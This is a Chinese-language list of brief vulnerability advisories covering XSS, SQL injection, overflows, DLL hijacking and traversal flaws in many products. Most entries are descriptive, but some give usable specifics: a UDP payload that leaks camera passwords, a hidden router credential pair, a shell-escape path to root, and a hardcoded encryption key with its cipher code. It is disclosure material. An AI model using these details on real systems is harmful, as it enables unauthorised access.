Microsoft Lync Server是一款微软发布整合通讯解决方案。Microsoft Lync Server ReachJoin.aspx脚本对"reachLocale"变量缺少过滤，攻击者可以利用漏洞注入任意JavaScript命令。但是有一些限制，如">"字符会调用.Net安全保护，引起页面显示失败。
JW Player是一种基于flash的交互式网页媒体播放器。JW Player存在跨站脚本漏洞。攻击者可以利用此漏洞进行跨站脚本攻击，在用户的浏览器中执行任意HTML和脚本代码。
Microsoft Windows是一款流行的操作系统。Microsoft Windows XP系统存在安全漏洞，允许本地攻击者以SYSTEM特权执行任意代码提升特权。
Linux是一款开放源代码的操作系统。hfs_find_init()错误的假设sb->ext_tree已经打开并且非空，但此函数可在sb->ext_tree当前被打开时调用。实际上通过如下调用路径，可发生空指针引用：在hfs_mdb_get()中有如下代码(在这个阶段ext_tree == NULL)： HFS_SB(sb)->ext_tree = hfs_btree_open(sb, HFS_EXT_CNID, hfs_ext_keycmp); hfs_btree_open()调用read_mapping_page()，read_mapping_page()用于间接调用hfs_readpage()。而hfs_readpage()可进行如下调用： hfs_readpage() -> hfs_get_block() -> alloc_buffer_head() ->hfs_ext_read_extent()然后hfs_ext_read_extent()以ext_tree == NULL调用hfs_find_init()，之后在hfs_find_init()中有一个空指针引用。
Minitek FAQ Book是Joomla的一款组件。Joomla! Minitek FAQ Book组件在传递参数时存在SQL注入漏洞，攻击者可以利用此漏洞注入任意SQL代码、执行任意SQL查询。
F*EX是一款基于WEB的文件交换服务器。F*EX没有正确校验验证IDs。虽然服务正确校验现有的认证IDs，但如果攻击者根本不指定任何认证ID，可绕过验证过程。
Barracuda NG Firewall是一款梭子鱼网络有限公司发行的防火墙。使用了外部验证机制(如Active Directory)的phion netfence 4.0.x, phion netfence < 4.2.15和NG Firewall < 5.0.2存在安全漏洞，允许以root权限执行任意命令。攻击者如果知道管理员用户名，可在ssh登录过程中执行任意shell命令。此漏洞无需知道管理员密码信息。
PlotSoft PDFill是一款PDF文件编辑处理的小软件。应用程序提供的mfc70u.dll不安全装载mfc70enu.dll和mfc70loc.dll库，攻击者可以诱使用户在远程WebDAV或SMB共享上打开PFL (".pfl")文件，可以以用户安全上下文装载任意库。
Movable Type是一款基于WEB的网络博客系统。Movable Type存在未明安全漏洞，允许恶意用户获得敏感信息或创建修改部分内容。
D-BUS是一款设计目标为应用程序间通信的消息总线系统。当处理使用非本机字节序列的消息时D-Bus存在错误，发送特制的消息可断开D-Bus的客户端连接，造成拒绝服务攻击。
UUSee是一款集P2P直播点播于一身的网络电视软件。UUPlayer.ocx ActiveX控件处理DoCmd方法时没有验证输入内容，导致内存破坏，攻击者构建恶意WEB页，诱使用户解析可导致基于栈的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Trend Micro Data Loss Prevention是一款趋势科技发行的数据外泄管理系统。Trend Micro Data Loss Prevention不正确过滤用户提交的编码的目录遍历序列字符，攻击者可以提交恶意请求绕过WEB ROOT限制，以WEB权限查看系统文件内容。
Technote是韩国的Technote公司开发的公告牌系统。Technote 7.2版本存在SQL盲注入漏洞，可能导致敏感信息泄露。
Events Manager Extended是Wordpress的一款插件。Wordpress Events Manager Extended存在存储型跨站脚本漏洞，可能导致任意代码执行。
AIX（Advanced Interactive eXecutive）是IBM开发的一套UNIX操作系统。IBM AIX存在安全绕过漏洞，攻击者可以利用漏洞绕过安全限制，改变磁盘和逻辑单元所有者。
Smarty是一个使用PHP写出来的模板引擎。"{fetch}"标签没有正确履行安全策略，攻击者可以利用漏洞绕过"secure_dir"设置，获得'$secure_dir'定义路径之外的文件。
Horde是一款WEB应用程序架构，包括webmail, wiki和工作组。复合认证驱动程序存在错误，使用任意用户名和密码组合可成功通过验证，获得对应用系统的访问。
VLC Media Player是一款流行的多媒体播放程序。VLC Media Player XSPF播放列表解析器存在一个整数溢出，攻击者可以利用漏洞构建恶意文件，诱使用户解析，使应用程序崩溃，可能以应用程序上下文执行任意代码。
Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。由于某些方法如"link_to", "sub!"没有正确遵循用于字符串的"HTML safe"标记的规则，可导致不正确过滤用于返回给用户的输入。这可导致在目标用户浏览器上执行任意HTML和脚本代码。
Perl是一款功能强大的编程语言。Perl中的Data::FormValidator模块存在安全漏洞。允许恶意用户泄露敏感信息或绕过安全限制。漏洞是由于表单校验存在一个错误，攻击者可利用漏洞绕过表单校验及获得先前表达式操作的结果信息。
Autonomy KeyView是一款用于导出、转换和查看各种格式文件的软件包。Autonomy KeyView处理某些文件格式时存在错误，可破坏内存，成功利用漏洞可以以应用程序上下文执行任意代码。
Autonomy KeyView是一款用于导出、转换和查看各种格式文件的软件包。Autonomy KeyView处理Windows Write (WRI)文件时存在错误，可触发基于栈的缓冲区溢出。允许攻击者利用漏洞执行任意代码。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark存在多个安全漏洞，允许远程攻击者使应用程序崩溃。（1）在windows上从有名管道截获时可使得Wireshark不稳定。（2）在截获过程中对列进行排序时存在问题，可使应用程序崩溃。
Veri-NAC是一款网络控制存取设备。通过URL传递给WEB接口的输入在使用前缺少过滤，攻击者提交包含目录遍历序列的请求可获得任意文件内容。另外其Active目录验证信息以明文方式存储。
Prosody是一个用Lua语言编写的Jabber/XMPP服务器软件。解析某些XML输入存在错误，构建深层嵌套的XML实体，应用程序处理时可消耗大量CPU和内存资源，造成拒绝服务攻击。
ACDSee Picture Frame Manager是一款创建数码相册相框工具。ACDSee Picture Frame Manager ShellIntMgrPFMU.dll以不安全方式装载DLL库，攻击者可以诱使用户在远程WebDAV或SMB共享上打开JPG文件，可以以用户安全上下文装载任意库。
ACDSee Photo Editor是一款图片编辑处理软件。ACDSee Photo Editor Wintab32.dll和CV11-DialogEditor.dll以不安全方式装载DLL库，攻击者可以诱使用户在远程WebDAV或SMB共享上打开ACDSeee图片文档(APD)文件，可以以用户安全上下文装载任意库。
ACDSee Fotoslate是一款数码相册软件。ACDSee Fotoslate 'dwmapi.dll'以不安全方式装载DLL库，攻击者可以诱使用户在远程WebDAV或SMB共享上打开FotoSlate对象(PLP)文件，可以以用户安全上下文装载任意库。
Xitami是一款HTTP服务程序。Xitami不正确处理特制的HTTP头字段数据，攻击者可以利用漏洞提交恶意请求触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Tele Data's Contact Management Server是一款提供联系人管理服务的特制的HTTP服务器。Tele Data's Contact Management Server不正确处理目录遍历字符序列，远程攻击者可以利用漏洞以WEB权限查看系统文件内容。
libpng是多种应用程序所使用的解析PNG图形格式的函数库。libpng在pngerror.c的实现上存在单字节溢出拒绝服务漏洞，远程攻击者可利用此漏洞使带有受影响库的应用程序崩溃。
LuaExpat是一款支持XML解析的lua库。基于Expat库上的SAX XML解析器存在如下描述的XML "billion laughs attack"攻击：http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html#N100F1远程攻击者可以提供特制的XML文件，诱使链接LuaExpat库的应用程序打开，可使应用程序崩溃。
KMPlayer是一款流行的媒体播放程序。KMPlayer不正确处理'.mp3'文件，攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
1 Click Unzip!是一款解压缩处理程序。1 Click Unzip!不正确处理'.zip'文件，攻击者恶意构建恶意文件，诱使用户处理触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
KMPlayer是来自韩国的影音全能播放器，是从linux平台移植而来的，几乎可以播放您系统上所有的影音文件。KMPlayer在处理畸形".mp3"文件时存在远程缓冲区溢出漏洞，远程攻击者可利用此漏洞执行任意代码或造成拒绝服务。
IP POWER 9258是一款网络控制服务器。IP POWER 9258存在未授权访问漏洞，攻击者可以利用该漏洞直接访问任意脚本，绕过认证。
Icinga是一款开源监控系统。Icinga存在跨站脚本漏洞，攻击者可以利用漏洞执行任意HTML和脚本代码。
geeNian OpenDrive是geeNian旗下的网盘。OpenDrive使用弱加密算法实现，本地攻击者可以利用漏洞获得验证信息。
Multi-Tech Systems “MultiModem iSMS”可以为发送可靠、价格实惠的短信信息提供低带宽应用。Multi-Tech Systems “MultiModem iSMS”存在跨站脚本漏洞，攻击者可以通过（1）登录屏幕或（2）短信将跨站脚本攻击代码注入至网络管理界面。
Fabric是一个Python库和命令行工具。Fabric存在不安全创建临时文件漏洞，本地攻击者可以利用该漏洞执行任意符号链接攻击，在受影响的应用程序上下文覆盖任意文件。
UPlusFtp Server是一款支持标准FTP协议的FTP服务程序。UplusFtp存在多个缓冲区溢出漏洞，攻击者可以利用漏洞执行任意代码。
Cherokee是一款HTTPD服务程序。Cherokee 1.2.98版本存在安全漏洞，攻击者可以利用该漏洞进行跨站请求伪造攻击。
Fastweb是意大利一家服务提供商。Fastweb存在跨站脚本漏洞，允许攻击者绕过认证，登陆用户账户控制面板（MyFastpage）。
WebSVN是一个基于Web的SubversionRepository浏览器。通过"path"参数传递给dl.php的输入，在用于include/command.php脚本中的命令行参数之前缺少过滤，可注入任意SHELL命令。要成功利用漏洞需要include/config.php中打开"$config->allowDownload()"选项(默认不打开)。
Sybase OneBridge服务器和DMZ代理存在一个格式字符串漏洞。攻击者可以利用漏洞以应用程序上下文执行任意代码。
Linux是一款开源的操作系统。mm/ksm.c中的"scan_get_next_rmap_item()"存在竞争条件错误，本地攻击者可以利用漏洞使内核崩溃。
Iskratel SI2000 Callisto 821存在一个跨站请求伪造漏洞。攻击者可以利用漏洞修改管理员密码，登陆管理员账户，进行脚本注入攻击，引诱用户访问恶意网站。
Ushahidi 是一款开源软件及平台。Ushahidi 2.0.1版本存在SQL注入漏洞，攻击者可以利用漏洞注入任意SQL代码，执行SQL查询。
Xitami是一个运行在Windows系统上的第三方Web服务软件，提供FTP、HTTP等服务。Xitami在对HTTP协议中If-Modified-Since命令的处理时存在缓冲区溢出漏洞，攻击者可以利用漏洞以应用程序上下文执行任意代码。
Golden FTP Server是一款Windows平台FTP服务器。GoldenFTP PASS命令存在栈缓冲区溢出漏洞，这是因为Golden FTP服务存在一个安全漏洞，允许恶意用户利用PASS命令触发缓冲区溢出。远程攻击者可利用此漏洞，导致敏感信息泄露。
遨游浏览器2未考虑IE6,7,8场景下库文件的兼容问题，导致一个DLL库加载错误，最终造成一个严重的远程代码执行漏洞。
Discuz!是一款流行的Web论坛程序。Discuz! X1-1.5版本存在SQL注入漏洞，可能导致敏感信息泄露。
MODACOM URoad-5000是一款便携WiMAX/WiFi路由器。MODACOM URoad-5000设备使用修改后的RaLink SDK版本，可通过HTTP访问标准WEB接口，通过/goform/SystemCommand可执行任意系统命令。
RSLinx Classic能够将RSLogix和RSNetWorx产品连接到罗克韦尔自动化网络和设备，也是一个OPC服务器。RSLinx Classic绑定的EDS硬件安装工具(RSHWare.exe)不正确解析格式化的EDS文件，攻击者可以构建特制.eds文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
MODACOM URoad-5000是一款便携WiMAX/WiFi路由器。MODACOM URoad-5000设备使用修改后的RaLink SDK版本，可通过HTTP访问标准WEB接口。WEB管理接口可通过标准的用户名/密码对admin:admin访问，之后可以更改。但存在另一个engineer:engineer对也可以设备而不能通过WEB接口更改。
Lumension Endpoint安全产品存在安全漏洞，允许恶意用户对服务进行拒绝服务攻击。当处理部分报文时SXS服务器不能正确处理异常，发送特制的请求可触发内存破坏使管理服务器停止响应，造成应用服务程序崩溃。
Nagios是一个监视系统运行状态和网络信息的监视系统。Nagios由于未能正确验证用户提供的数据，允许攻击者进行跨站脚本攻击，导致任意脚本代码执行。
Wyse ThinOS是一款真正的瘦客户机嵌入式操作系统。处理部分网络报文存在错误，远程攻击者可以构建特制网络报文，使设备崩溃。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark处理可视网络文件存在错误可导致进程崩溃，允许远程攻击者对应用程序进行拒绝服务攻击。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark处理压缩截获数据存在错误可导致进程崩溃，允许远程攻击者对应用程序进行拒绝服务攻击。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark 处理snoop文件存在错误可导致进程崩溃，允许远程攻击者对应用程序进行拒绝服务攻击。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark处理直径字典文件存在错误可导致进程崩溃，允许远程攻击者对应用程序进行拒绝服务攻击。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark处理畸形报文时DICOM解析器存在错误可导致死循环，允许远程攻击者对应用程序进行拒绝服务攻击。
NetGear WNDAP350是一款无线接入器设备。NetGear WNDAP350无线接入点对访问缺少正确的限制，攻击者可以利用漏洞通过download.php或BackupConfig.php脚本获得敏感信息，包括明文管理密码或WPA密文等。
HP LoadRunner是一款惠普公司开发的性能测试工具。当解析包含超长字符串指令的虚拟用户脚本(.usr)文件时HP LoadRunner存在一个缓冲区溢出，攻击者诱使用户打开特制的.usr文件，诱使用户解析，可导致应用程序崩溃，可能执行任意代码。
Xen是一款开放源代码的虚拟机。Red Hat Linux中的Xen管理程序实现存在安全漏洞，允许特权Guest用户利用此漏洞使宿主机和Guest机死锁，造成拒绝服务攻击。
Microsoft Windows Live Messenger是一款微软提供的流行的即时通信工具。Microsoft Windows Live Messenger 'dwmapi.dll'以不安全方式装载DLL库，攻击者可以诱使用户在远程WebDAV或SMB共享上打开.plsk文件，可以登录用户安全上下文装载任意库。
Linux是一款开放源代码的操作系统。security/keys/process_keys.c提供的"key_replace_session_keyring()"函数存在错误，使用syscall(__NR_keyctl, KEYCTL_SESSION_TO_PARENT)可导致空指针应用而使内核崩溃。
H3C Intelligent Management Center是一款惠普公司发行的智能管理应用程序。默认监听8800端口的img.exe组件存在缺陷，当处理报文类型时进程使用用户提供的长度值进行算术运算，结果可导致整数溢出。远程攻击者可以利用此漏洞以SYSTEM用户上下文执行任意代码。
Belkin F5D7234-4V5 Wireless G Router是一款无线路由器设备。Belkin F5D7234-4V5 Wireless G Router存在一个设计错误，攻击者提交特制请求可获得管理员密码信息。
jomEstate PRO是Joomla的一款组件。Joomla的组件jomEstate PRO存在SQL注入漏洞，攻击者可以利用漏洞注入任意SQL代码，执行SQL查询。
AIDeX Mini-WebServer是一款Web服务器程序。AIDeX Mini-WebServer存在跨站脚本漏洞，通过"nick"参数传递到*chat/post.html的输入在返回至用户之前缺少正确过滤攻击者可以利用漏洞执行任意HTML和脚本代码。
W-Agora是一款免费开放源代码的PHP论坛程序，可使用在Unix和Linux操作系统下。W-Agora Forum 4.21存在远程任意文件上传漏洞，攻击者可以利用漏洞上传任意文件。
Easy Media Script是一款支持图片与视频的免费英文多媒体程序。Easy Media Script存在SQL注入漏洞，可能导致敏感信息泄露。
Guru JustAnswer Professional是一款可以创建在线专家咨询网站的应用程序。Guru JustAnswer Professional 1.25版本存在多个SQL注入漏洞，可能导致敏感信息泄露。
BakBone NetVault: SmartDisk是一款磁盘备份和可以提供重复数据删除功能的产品。分配内存时libnvbasics.dll模块存在整数溢出错误，攻击者向TCP 37452端口发送特制报文可使percolatorslave.exe进程崩溃。
libgnomesu是一款允许用户以root或其他用户运行程序的库。libgnomesu提供的/usr/lib/libgnomesu/gnomesu-pam-backend suid程序没有检查setuid()返回值。结果两个合作用户或可访问Guest, cgi或WEB账户的用户可轻易的以root权限运行任意命令。
Gadu-Gadu是一款在线即时聊天程序。Gadu-Gadu受中间人攻击影响允许在目标主机上执行任意代码。从外部HTTP位置装载JavaScript代码来显示广告。如果攻击者可以截取HTTP请求可能注入JS代码到Webkit用户接口。内部通信机制可用于派生新进程，由于广告是自动加载的因此此漏洞无需用户交互或需要存在于联系人列表中。
Fortinet FortiClient是一款个人端整合式防护软体。forticlientsslvpn不安全创建锁文件，在启动forticlientsslvpn过程中，以0666 octal权限在/tmp目录中创建'forticlientsslvpn.lock'文件。客户端没有对文件是否存在进行检查。
Fetchmail是一款功能强大的IMAP和POP客户程序。Fetchmail 5.9.9版本引入对POP3的STLS支持，版本6.0.0增加对IMAP的STARTTLS支持，但是实际S(TART)TLS初始化带内SSL/TLS协商没有受超时监控。在操作系统默认的TCP流存活模式，如果链接失败而且没有通知操作系统，在发送STARTTLS之后Fetchmail会挂起超过一星期之久，如通过网络中断或硬服务器崩溃引起的连接失败。在应答Fetchmail STARTTLS或STLS请求之后，在网络层面上恶意服务器不产生应答可使Fetchmail保持在这个协议状态中，从而使Fetchmail无法完成轮询或转到下一个服务器，产生拒绝服务。SSL-wrapped不受此漏洞影响，可作为临时解决方案使用。
Lil' HTTP Server是一款WEB服务程序。Lil' HTTP Server不正确处理用户提交的请求，远程攻击者可以利用漏洞获得脚本源代码信息。
Ruby是一种功能强大的面向对象的脚本语言。Ruby "BigDecimal"类在实现上存在整数截断远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码造成拒绝服务。此漏洞源于ext/bigdecimal/bigdecimal.c中的"VpMemAlloc()"函数整数截断漏洞，可被利用导致内存破坏。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。在REGISTER消息中使用合法或非法的用户名，应用程序会返回不同信息的应答。攻击者可以利用此漏洞提交恶意请求判断用户名是否合法，获得敏感信息。
Duhok Forum 1.1之前版本存在SQL注入漏洞，可能导致敏感信息泄露。
Guru Penny Auction Pro 3.0版本存在SQL盲注入漏洞，可能导致敏感信息泄露。
com_jmsfileseller是Joomla的一个组件。com_jmsfileseller存在SQL注入漏洞，可能导致敏感信息泄露。
com_joomnik是Joomla的一个组件。com_joomnik存在SQL注入漏洞，可能导致敏感信息泄露。
Puzzle Apps CMS是一个网站内容管理工具。Puzzle Apps CMS 3.2版本存在本地文件包含漏洞，攻击者可以利用漏洞包含任意本地文件。
DH-MLM存在SQL注入漏洞，攻击者可以利用漏洞注入任意SQL代码，执行SQL查询。
Magix Musik Maker是一款音乐编辑软件。Magix Musik Maker '.mmm'文件存在堆缓冲区溢出漏洞，攻击者可能利用漏洞执行任意代码。
Joomla!和Mambo是开放源码的内容管理系统。Joomla!和Mambo的Comp Restaurante组件的实现上存在SQL注入漏洞，远程攻击者可能利用此漏洞访问或修改数据。
Magneto ICMP ActiveX 4.0.0.20版本的ICMPSendEchoRequest存在安全漏洞，远程攻击者可以利用漏洞执行任意代码。
Map Locator是Joomla的一款组件。Joomla的组件Map Locator存在SQL注入漏洞，攻击者可以利用漏洞执行任意SQL代码，操作SQL查询。
phpScheduleIt是一个基于Web的预约/计划系统，可以用来管理需要预约的资源。phpScheduleIt存在跨站脚本漏洞，'popCalendar.php'脚本不正确过滤用户提交的"scheduleid"变量的输入，攻击者可以利用漏洞执行任意HTML和脚本代码。
phpScheduleIt是一个基于Web的预约/计划系统，可以用来管理需要预约的资源。phpScheduleIt存在跨站脚本漏洞，'roschedule.php'脚本不正确过滤用户提交的输入，攻击者可以利用漏洞执行任意HTML和脚本代码。
phpScheduleIt是一个基于Web的预约/计划系统，可以用来管理需要预约的资源。phpScheduleIt存在跨站脚本漏洞，'register.php'脚本不正确过滤用户提交的输入，攻击者可以利用漏洞执行任意HTML和脚本代码。
phpScheduleIt是一个基于Web的预约/计划系统，可以用来管理需要预约的资源。phpScheduleIt存在跨站脚本漏洞，'index.php'脚本不正确过滤用户提交的输入，攻击者可以利用漏洞执行任意HTML和脚本代码。
phpScheduleIt是一个基于Web的预约/计划系统，可以用来管理需要预约的资源。phpScheduleIt存在跨站脚本漏洞，'forgot_pwd.php'脚本不正确过滤用户提交的输入，攻击者可以利用漏洞执行任意HTML和脚本代码。
Blackboard是一款在线教学管理平台。Blackboard存在跨站脚本漏洞，攻击者可以利用该漏洞在受影响的网站中执行任意HTML和脚本代码。
eGroupWare是一个多用户，在以PHP为基础的API上的定制集为基础开发的，以WEB为基础的工作件套装。eGroupWare 1.8.001.20110421版本存在开放重定向漏洞，攻击者可以利用漏洞将用户重定向至任意URL。
eGroupWare是一个多用户，在以PHP为基础的API上的定制集为基础开发的，以WEB为基础的工作件套装。eGroupWare 1.8.001.20110421版本存在本地文件包含漏洞，攻击者可以利用漏洞包含任意文件。
HB ECOMMERCE是提供和管理电子商务网站的工具。HB ECOMMERCE存在SQL注入漏洞，可能导致敏感信息泄露。
Tickets是一款在线订票系统。Tickets 2.13版本存在SQL注入漏洞，攻击者可以利用漏洞提取任意数据。
ExtCalendar是一个基于Web的日历、日程应用。ExtCalendar存在SQL注入漏洞，攻击者可以利用漏洞执行任意SQL查询，访问或修改敏感数据。
Wing FTP Server是一款FTP服务程序。Wing FTP Server LDAP实现存在安全漏洞，允许攻击者使用空密码绕过活动目录中的LDAP验证机制获得未授权访问。要利用此漏洞，需要LDAP服务器允许匿名绑定。
WebDefend Enterprise Manager Appliance是一款WEB应用防火墙。WebDefend Enterprise Manager Appliance产品存在特权提升漏洞，允许受限操作账户获得对设备的root权限访问。操作账户'bgoperator'用于执行系统维护，此账户可通过SSH访问应用设备，而且在'Getting Started'手册中提示存在默认密码。操作账户有一个菜单驱动shell不允许用户输入系统命令：---------Main Menu---------1 -- Online Menu2 -- Offline Menu3 -- System Menu? -- Help此账户的shell路径位于：'/usr/local/opt/breach/bin/start_bgadmin_cli'此脚本使用如下行调用其他脚本：'sudo -u root /opt/breach/bwd/bin/bgadmin_cli'可以看到第二个脚本以root特权执行。当查看日志文件时，shell使用'more'命令，当使用'more'时，按'v'，会在'vi'文本编辑器中启动文件。通过'vi'可以root权限读系统文件和向系统写任意文件。通过修改操作账户登录脚本可获得root shell。
Plone是一款开源的内容管理系统。Plone存在未授权数据更改漏洞，允许更改系统选项，但此漏洞不能用来删除任意内容。
Plone是一款开源的内容管理系统。Plone存在存储型跨站脚本漏洞，部分合法HTML允许绕过Javascript过滤。
Plone是一款开源的内容管理系统。Plone存在反射型跨站脚本漏洞，特制的URL可显示任意HTML输出。攻击者可以利用漏洞获得敏感信息。
Movable Type是一款基于WEB的网络博客系统。Movable Type应用程序存在一个未明错误，允许泄露和修改内容。
Movable Type是一款基于WEB的网络博客系统。Movable Type存在安全漏洞，部分输入在返回用户之前缺少过滤，可导致跨站脚本攻击，攻击者构建恶意链接，诱使用户解析可获得敏感信息或劫持用户会话。
Google Chrome是一款流行的WEB浏览器。Google Chrome存在一个安全绕过漏洞，攻击者可以利用漏洞绕过跨站脚本过滤器，执行任意代码并窃取敏感信息。
Ajax Chat是一种用JavaScript、PHP和MySQL实现的开源Web聊天软件。Ajax Chat存在跨站脚本漏洞，攻击者可以利用漏洞执行任意脚本代码，窃取或修改敏感数据。
MidiCMS Website Builder存在安全绕过漏洞。由于访问'admin/jscripts/tiny_mce/plugins/ezfilemanager/index.php'脚本时未能正确验证，攻击者可以利用漏洞上传某些扩展名的文件（如ZIP和Html）。
MidiCMS Website Builder存在跨站请求伪造漏洞。恶意用户可以通过未执行任何验证的HTTP请求执行某些操作。
Vordel XML gateway是一款XML网关设备。Vordel XML gateway管理接口存在问题，远程攻击者可向8090端口发送目录遍历序列的URL请求，绕过WEB ROOT限制，获得对密码和配置文件的访问。
RXS-3211 IP camera存在远程密码泄露问题，未验证攻击者可以发送单个UDP报文来利用此漏洞。问题是设备使用的摄像头管理协议存在安全漏洞，会根据请求以明文方式发送管理员密码和其他配置信息。使用如下UDP负载，发送到13364端口可利用此漏洞：\xff\xff\xff\xff\xff\xff\x00\x06\xff\xf9
Mumble是一款针对游戏玩家的音频通信工具。Mumble存在拒绝服务漏洞，远程攻击者可以利用漏洞使应用程序崩溃。
ClipBucket是一款免费的开源CMS系统，可以在几分钟之内共享你的视频，且可帮助你进行影音管理。Clipbucket 2.4 RC2 645版本存在SQL注入漏洞，这是由于其自身的设计缺陷导致的SQL注入攻击。在某些环境下，攻击者利用此漏洞获取任意数据信息，创建PHP shell，可导致进一步攻击。
Sybase EAServer是一款基于开放标准的企业应用服务器，能够驱动业务关键型应用。Sybase EAServer不正确过滤部分输入，远程攻击者可以利用目录遍历攻击读取任意文件内容，造成敏感信息泄露。
JE Story Submit是Joomla的一款组件。Joomla的JE Story Submit组件存在未明的文件包含漏洞，攻击者可以利用漏洞获得敏感信息。
MSIE是微软公司推出的一款网页浏览器。Microsoft IE在实现上存在跨域本地Cookie文件访问安全限制绕过漏洞，由于错误地堆某些本地文件执行同源策略，远程攻击者可利用此漏洞绕过跨域交互策略，获取本地文件的敏Cookie数据。
PHP是一款流行的编程语言。PHP socket_connect()存在缓冲区溢出，攻击者可以利用漏洞以PHP进程上下文执行任意代码。
NNT Change Tracker提供完整虚拟和物理的IT配置控制，可进行文件完整性监查，配置评估，性能监视等行为。NNT Change Tracker在各个点上进行了加密操作，但是使用了相同硬编码的加密密钥。密钥是下列指数中的字节数组： [0] = 21; [1] = 23; [2] = 2; [3] = 3; [4] = 8; [5] = 54; [6] = 5; [7] = 55; [8] = 4; [9] = 222; [10] = 54; [11] = 254; [12] = 7; [13] = 2; [14] = 32; [15] = 22; 攻击者可以利用这个漏洞阻止NNT Change Tracker  Enterprise检测到各种更改。此外，NNT Change Tracker Enterprise使用了如下的'home-brew'弱加密算法：public string Encrypt(string plaintext) { string ciphertext = String.Empty; byte[] plainBytes = Encoding.ASCII.GetBytes(plaintext); int num = 0; for (int i = 0; i < bytes.Length; i++) { plainBytes[i] += this.key[num++]; if (num >= 16) num = 0; byte b = 15 & (int)plainBytes[i] >> 4; ciphertext += (char)(65 + b); b = (plainBytes[i] & 15); ciphertext += (char)(65 + b); } return ciphertext; } public string Decrypt(string ciphertext) { if (ciphertext.Length < 4) { return String.Empty; } byte[] cipherbytes = Encoding.ASCII.GetBytes(ciphertext); byte[] plainbytes = new byte[cipherbytes.Length / 2]; int num = 0; for (int i = 0; i < cipherbytes.Length; i += 2) { byte b = cipherbytes[i] - 65; b = (int)b << 4; byte b2 = cipherbytes[i + 1] - 65; b += b2; b -= this.key[num++]; if (num >= 16) num = 0; plainbytes[i / 2] = b; } return new string(Encoding.ASCII.GetChars(plainbytes)); }
Lumension Security Lumension Device Control是一款终端防护系统，可用于防止资料外泄。Lumension Security Lumension Device Control存在一个未明安全漏洞，发送特制的报文给运行在Lumension应用服务器上的TCP服务，可导致内存破坏，可能以应用程序上下文执行任意代码。NGS Secure将在三个月后公布漏洞细节。
IBM WebSphere Portal是一款用于创建门户网站的框架。IBM Workplace Web Content Management是一款帮助用户在Internet和内网上发布公司内容的解决方案。部分传递给搜索中心的输入在返回给用户之前缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
Gadu-Gadu是一款在线即时聊天程序。Gadu-Gadu不正确处理文件传送请求，可在文件名中放置255HTML代码字符(无斜杠)，使用特制的文件发送请求报文可把JavaScript注入到UI。GUI Javascript代码可触发各种行为，如保存和运行目标主机上的任意文件。内部协议可方便的利用此漏洞，由于是JS代码，类似ASLR或DEP机制不能阻止此类攻击。
Avaya Windows Portable Device Manager (WinPDM)可一款可用于配置Avaya IP DECT电话的应用程序。Avaya WinPDM 处理某些请求时MwpCsi.exe存在边界错误，向UDP端口10137发送超长字符串可触发基于堆的缓冲区溢出，允许攻击者执行任意代码。
Avaya Windows Portable Device Manager (WinPDM)可一款可用于配置Avaya IP DECT电话的应用程序。Avaya WinPDM 处理某些请求时CuspSerialCsi.exe存在边界错误，向UDP端口10158发送超长字符串可触发基于堆的缓冲区溢出，允许攻击者执行任意代码。
Avaya Windows Portable Device Manager (WinPDM)可一款可用于配置Avaya IP DECT电话的应用程序。Avaya WinPDM 当处理某些请求时UspCsi.exe存在边界错误，向UDP端口10136发送超长字符串可触发基于堆的缓冲区溢出，允许攻击者执行任意代码。
Avaya Windows Portable Device Manager (WinPDM)可一款可用于配置Avaya IP DECT电话的应用程序。Avaya WinPDM 处理某些请求时Unite宿主路由服务(UniteHostRouter.exe)存在边界错误，向UDP 3217端口发送"To:"字段中包含超长字符串的请求可触发基于栈的缓冲区溢出，允许攻击者执行任意代码。
7T Interactive Graphical SCADA System是一款自动化监视和控制系统。当处理发送给TCP 20222端口的报文时，开放数据库连接组件存在一个内存破坏漏洞，使用非法结构可导致一个可利用的条件，成功利用漏洞可以以应用程序上下文执行任意代码。
KeyView是用于导出、转换和查看各种格式文件的软件包。Autonomy KeyView在实现上存在Applix文档过滤器缓冲区溢出漏洞，远程攻击者可利用此漏洞以当前用户权限执行任意代码，造成拒绝服务。在处理Applix文档中包含的标签信息时存在漏洞，循环中的内存复制操作可使标签数据溢出栈缓冲区边界。
VisiWave Site Survey是完整的802.11a/b/g/n站点勘测解决方案。VisiWave Site Survey在实现上存在栈缓冲区溢出漏洞，攻击者可利用此漏洞执行任意代码。
Textpattern是一款Blog引擎。Textpattern CMS 4.3.0版本存在更改管理密码跨站请求伪造漏洞，攻击者可以利用漏洞导致远程javacscript代码执行。
VisiWave处理报告文件(".vwr")存在边界条件错误，攻击者可以利用漏洞触发基于堆的缓冲区溢出，导致任意代码执行。
HP Proliant Support Pack 8.7之前版本存在跨站脚本漏洞，攻击者可以利用漏洞注入任意web脚本或HTML。
vBulletin是一款论坛程序套件。vBulletin'search.php'存在SQL注入漏洞，攻击者可利用该漏洞获取敏感信息。
PHPortfolio是一款摄影作品发布系统。PHPortfolio中存在SQL注入漏洞，攻击者可以利用漏洞获取Web数据库管理权限。
phpMyAdmin是一款基于PHP的MySQL管理程序。phpMyAdmin存在安全漏洞，通过"url"参数传递给url.php的输入在用于重定向用户之前缺少过滤，攻击者构建恶意链接，诱使用户点击，可重定向用户到任意WEB站点。
phpMyAdmin是一款基于PHP的MySQL管理程序。phpMyAdmin存在安全漏洞，当创建数据库表名时传递给应用程序的输入在用于"Tracking"页面之前缺少过滤，这可导致注入任意HTML和脚本代码。当恶意数据被查看时，这些脚本代码可在目标用户浏览器上执行。
Dirmngr是一款证书列表管理工具。当连接部分CRLSs(证书吊销列表)请求时，应用程序存在错误，可使服务变得不稳定。
